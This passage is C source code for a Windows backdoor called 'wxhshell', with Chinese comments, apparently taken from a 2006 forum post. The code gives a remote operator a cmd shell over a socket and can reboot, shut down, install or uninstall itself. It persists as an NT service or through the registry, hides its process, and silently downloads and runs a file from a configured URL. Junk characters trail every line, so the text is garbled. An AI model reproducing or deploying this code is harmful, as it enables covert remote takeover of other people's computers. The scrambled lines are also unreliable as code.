      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c:g'.'/*  
    break; 8i,K~Bu=  
  } kNL\m[W8$  
  // 安装 0?M:6zf_iv  
  case 'i': { [8*)8jP3  
    if(Install()) ]cruF#`%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { BHO/q3  
    else .{KVMc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lHIM}~#;nd  
    break; 9k=3u;$v  
    } v9UD%@tZ  
  // 卸载 :j`s r  
  case 'r': { ~v"L!=~G;a  
    if(Uninstall()) m4yL@d,Yw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '%`:+]!  
    else fxIf|9Qi`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {zFMmPid  
    break; [fIg{Q  
    }  7[wieYj{  
  // 显示 wxhshell 所在路径 3[f): u3"  
  case 'p': { <^uBoKB/f  
    char svExeFile[MAX_PATH]; bs'n+:X `  
    strcpy(svExeFile,"\n\r"); ]0\MmAJRn  
      strcat(svExeFile,ExeFile); VD\=`r)nT  
        send(wsh,svExeFile,strlen(svExeFile),0); t()c=8qF|u  
    break; r"R#@V\'1b  
    } ri.I pRe  
  // 重启 zv"Z DRW  
  case 'b': { x$%!U[!3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I`p;F!s  
    if(Boot(REBOOT)) as_PoCoss  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 u0HI  
    else { !Rt>xD  
    closesocket(wsh); ;({W#Wa  
    ExitThread(0); tRfo$4#NY  
    } 1!gbTeVlY  
    break; S Z$Kz n  
    } *WT`o>  
  // 关机 >dG[G>  
  case 'd': { N.{D$"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6MkP |vr6  
    if(Boot(SHUTDOWN)) w+{LAS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \'bzt"f$j  
    else { O0y_Lm\  
    closesocket(wsh); 09Cez\0  
    ExitThread(0); 0K2`-mL  
    } C2Tyoza  
    break; IN G@B#Cl  
    } ?3xzd P  
  // 获取shell F@:'J\I}:  
  case 's': { DDH:)=;z  
    CmdShell(wsh); nj53G67y  
    closesocket(wsh); Wiu"k%Qsh  
    ExitThread(0); U`m54f@U  
    break; }AH] th  
  } Z)aUt Srf  
  // 退出 _f:W?$\ho  
  case 'x': { 3Ims6I]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); # 4PVVu<  
    CloseIt(wsh); ZJ[ ??=Gz  
    break; d<N:[Y\4l  
    } aAA U{EWW  
  // 离开 o.l- 7  
  case 'q': { e@OX_t_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {8%a5DiM  
    closesocket(wsh); w*JGUk  
    WSACleanup(); $ DSZO!pB  
    exit(1); %1$,Vs<RH  
    break; > "=>3  
        } igR";OQk  
  } ;BIY^6,7e  
  } qm o9G  
5N&?KA-  
  // 提示信息 xX4N4vb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7VFLJr t  
} hFl^\$Re  
  } ITT@,  
n#OB%@]<V  
  return; <<R*2b  
} Ak"m 85B  
;x@~A^<el  
// shell模块句柄 [ ~&/s:Vvo  
int CmdShell(SOCKET sock) exUu7& *:  
{  O+Y6N  
STARTUPINFO si; b?QoS|<e?  
ZeroMemory(&si,sizeof(si)); 4u5-7[TZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'u |c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "u^H# L>-q  
PROCESS_INFORMATION ProcessInfo; ByNn  
char cmdline[]="cmd"; I75DUJqy]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EGF '"L  
  return 0; l3I:Q^x@  
} zsyIV!(  
$6iX   
// 自身启动模式 FSW_<%  
int StartFromService(void)  DwE[D]7o  
{ _C[q4?  
typedef struct !\.pq  2  
{ |_aa&v~  
  DWORD ExitStatus; wHMX=N1/  
  DWORD PebBaseAddress; zL`iK"N`  
  DWORD AffinityMask; MXNFlP  
  DWORD BasePriority; qm8B8&-  
  ULONG UniqueProcessId; Fgh_9S9J  
  ULONG InheritedFromUniqueProcessId; \B,@`dw  
}   PROCESS_BASIC_INFORMATION; *@=/qkaJaI  
c?[I?ytl  
PROCNTQSIP NtQueryInformationProcess; Jgd'1'FOs  
1+{{EOZ4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EC!02S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W_(j3pV?Ml  
lbl?k5  
  HANDLE             hProcess; 9BBmw(M}  
  PROCESS_BASIC_INFORMATION pbi; o 5uph=Q{  
BdblLUGK#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $OkBg0  
  if(NULL == hInst ) return 0; " h~Z u  
PB`Y g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F]]]y5t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &n}f?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `l){!rg8IC  
`yXg{lk  
  if (!NtQueryInformationProcess) return 0; {|_M # w~&  
<?}-$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); })8N5C+KU  
  if(!hProcess) return 0; as4;:  
6J6BF%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (G4at2YLd  
^"1n4im  
  CloseHandle(hProcess); 1&evG-#<:  
MvHm)h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O/a4]r+_  
if(hProcess==NULL) return 0; yyRiP|hJ  
z] P SpUd  
HMODULE hMod; A) %/[GD2  
char procName[255]; BsqP?/  
unsigned long cbNeeded; \lf;P?M^  
%D}kD6=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lVR~Bh  
}`QUHIF  
  CloseHandle(hProcess); E+R1 !.  
,+vy,<e&  
if(strstr(procName,"services")) return 1; // 以服务启动 ith 3 =`3  
," Wr"  
  return 0; // 注册表启动 RJ ||}5  
} )3Iz (Ql  
wh\}d4gN  
// 主模块 gk[aM~p  
int StartWxhshell(LPSTR lpCmdLine) _A5e{Gb  
{ EQyC1j  
  SOCKET wsl; z Rl3KjET  
BOOL val=TRUE; RLynE V;]  
  int port=0; B=yqW  
  struct sockaddr_in door; _8riUt  
t?ZI".>  
  if(wscfg.ws_autoins) Install(); #ASz;$P  
5uNJx5g  
port=atoi(lpCmdLine); 4(~L#}:r!  
*1 ]uH e  
if(port<=0) port=wscfg.ws_port; !M]uL&:  
D},>mfzF  
  WSADATA data; >#;.n(y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  |`f$tj  
`d +Da=L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z8~NZ;A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :O?MSS;~  
  door.sin_family = AF_INET; I^]2K0+x x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5C*Pd Wpl  
  door.sin_port = htons(port); z^q0/'  
P[#e/qnXu|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KB,j7 ~V  
closesocket(wsl); 6BHXp# #z  
return 1; wj<6kG  
} 9J*\T(W  
f ue(UMF~  
  if(listen(wsl,2) == INVALID_SOCKET) { .E1rqBG  
closesocket(wsl); E7 Ul;d  
return 1; BB$>h}  
} i2A81>68<  
  Wxhshell(wsl); uk]$#TV*q>  
  WSACleanup(); v ~?qz5:K~  
;Ax }KN7  
return 0; TnOggpQ6X  
"f2$w  
} <8i//HOE  
,GIy q)  
// 以NT服务方式启动 <X^@*79m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g i-$Z FzB  
{ |`,2ri*5A  
DWORD   status = 0; V)-+Fd,=  
  DWORD   specificError = 0xfffffff; 7P5)Z-K[  
_LUhZlw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x0D*U?A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y>T-af49  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Apag{Z]^B  
  serviceStatus.dwWin32ExitCode     = 0; LTCb@L{^i  
  serviceStatus.dwServiceSpecificExitCode = 0; "]x'PI 4J  
  serviceStatus.dwCheckPoint       = 0; DE8n+Rm  
  serviceStatus.dwWaitHint       = 0; ~i{(<.he  
AW'0,b`v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f=Gg9bnm3  
  if (hServiceStatusHandle==0) return; y0.'?6k  
A_ZY=jP   
status = GetLastError(); a=1@*ID  
  if (status!=NO_ERROR) 1;8UC;,  
{ q=m'^ ,gPS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TR`U-= jH,  
    serviceStatus.dwCheckPoint       = 0; Xp% v.M  
    serviceStatus.dwWaitHint       = 0; tBWrL{xLe  
    serviceStatus.dwWin32ExitCode     = status; e@ 07  
    serviceStatus.dwServiceSpecificExitCode = specificError; {.|CdqwY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^_W#+>&--  
    return; Tc:)- z[o  
  } 4G0m\[Du  
4Uo&d#o)C-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v^NIx q}U  
  serviceStatus.dwCheckPoint       = 0; ~?Pw& K2  
  serviceStatus.dwWaitHint       = 0; SmH=e@y~Lx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I)[DTCJ~  
} FUb\e-Q=  
^|>PA:%  
// 处理NT服务事件,比如:启动、停止 ]Sz:|%JP1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IdYt\^@>  
{ yYYSeH  
switch(fdwControl) ?4&e;83_#y  
{ T/~f~Zz  
case SERVICE_CONTROL_STOP: $6 9&O  
  serviceStatus.dwWin32ExitCode = 0; k5e;fA/w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  KC6.Fr{  
  serviceStatus.dwCheckPoint   = 0; 5d^sA;c  
  serviceStatus.dwWaitHint     = 0; M h}m;NI  
  { ]|a g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OLGE!&!>  
  } P>D)7 V9Hh  
  return; q:0N<$63  
case SERVICE_CONTROL_PAUSE:  'KL0@l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *n ]GsOOn  
  break; P4'Q/Sj  
case SERVICE_CONTROL_CONTINUE: $( kF#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iHf$  
  break; ZJJY8k `  
case SERVICE_CONTROL_INTERROGATE: 4l'fCZhA}  
  break; R+z2}}Z!`  
}; F~W6Bp^W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1n8/r}q'H  
} P3=G1=47U  
An0|[uWH  
// 标准应用程序主函数 bsli0FJSh'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T3<4B!UB&  
{ Qd{CMm x  
AV]2 euyn  
// 获取操作系统版本 )dw'BNz5hT  
OsIsNt=GetOsVer(); I$G['` XX/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4F:\-O  
{}n^cq  
  // 从命令行安装 Dml;#'IF3  
  if(strpbrk(lpCmdLine,"iI")) Install(); [|$h*YK  
Ll't>)  
  // 下载执行文件 jB2[(  
if(wscfg.ws_downexe) { g:@#@1rB6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |wMN}bq|T  
  WinExec(wscfg.ws_filenam,SW_HIDE); PFjL1=7I  
} C{rcs'  
!;A\.~-!G  
if(!OsIsNt) { <'oQ \eB  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bsvr?|L\  
HideProc(); q3!bky\  
StartWxhshell(lpCmdLine); JH9J5%sp  
} C< tl/NC  
else CAhXQ7w'Z  
  if(StartFromService()) f8dB-FlMm  
  // 以服务方式启动 ES7s1O$#  
  StartServiceCtrlDispatcher(DispatchTable); #c!lS<z  
else ~36!?&eA8  
  // 普通方式启动 1GcE) e!>  
  StartWxhshell(lpCmdLine); tyFzSrfc  
;)*eo_tQ  
return 0; $U WZDD  
}
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只看该作者 1 发表于: 2006-10-10
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